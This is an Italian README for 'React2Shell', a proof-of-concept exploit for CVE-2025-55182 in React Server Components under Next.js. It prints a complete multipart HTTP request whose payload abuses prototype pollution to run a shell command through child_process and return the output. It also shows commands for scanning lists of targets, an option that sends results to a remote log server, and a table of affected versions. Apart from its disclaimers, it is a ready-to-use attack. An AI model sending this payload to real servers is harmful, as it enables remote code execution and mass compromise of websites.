
React2Shell è un exploit proof-of-concept per la CVE-2025-55182 che colpisce le implementazioni vulnerabili di React Server Components (RSC) in Next.js.
██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║
██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║
██╔══██╗██╔══╝ ██╔══██║██║ ██║ ██╔═══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██║ ██║███████╗██║ ██║╚██████╗ ██║ ███████╗███████║██║ ██║███████╗███████╗███████╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
Scritto da INDRA
Questo progetto è fornito solo a scopo educativo, per la ricerca sulla sicurezza e per test di penetrazione autorizzati.
L'autore non si assume alcuna responsabilità per usi impropri o danni causati da questo software.
Utilizza questo exploit solo contro sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione al test.
React2Shell è un exploit proof-of-concept per CVE-2025-55182 che colpisce le implementazioni vulnerabili di React Server Components (RSC) in Next.js.
L'exploit invia una richiesta multipart appositamente costruita che sfrutta il flusso di deserializzazione vulnerabile ed estrae l'output dei comandi tramite la risposta redirect digest dell'applicazione.
Quando l'exploit riesce, l'output del comando eseguito viene mostrato direttamente nel terminale.
Python 3.8+
Installa le dipendenze:
pip install requests urllib3
.
├── exploit.py
└── README.md
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
python exploit.py -h
python exploit.py -u https://target.com
targets.txt
target1.com
target2.com
target3.com
Esegui
python exploit.py -f targets.txt
python exploit.py -u https://target.com -o results.txt
python exploit.py -u https://target.com -l https://your-log-server.com
python exploit.py -f targets.txt -o results.txt -l https://your-log-server.com
🚀 Caricati 42 target (HTTP + HTTPS)
🔥 [VULNERABILE] https://target.com/
💀 Output del Comando →
uid=1000(node) gid=1000(node) groups=1000(node)
──────────────────────────────────────────────
L'uso non autorizzato di questo software contro sistemi senza permesso potrebbe violare leggi locali, nazionali o internazionali.
L'autore non è responsabile per qualsiasi uso improprio.
Buona Caccia 🕷️
| Versione | Stato |
|---|
| 19.0 | ⚠ Vulnerabile |
| 19.1.0 | ⚠ Vulnerabile |
| 19.1.1 | ⚠ Vulnerabile |
| 19.2.0 | ⚠ Vulnerabile |
| 19.0.1 | ✅ Patchato |
| 19.1.2 | ✅ Patchato |
| 19.2.1 | ✅ Patchato |
| Opzione | Descrizione |
|---|
-u | URL del target |
-f | File contenente i domini target |
-o | Salva i target vulnerabili localmente |
-l | Invia i risultati a un server di log remoto |
-h | Mostra aiuto |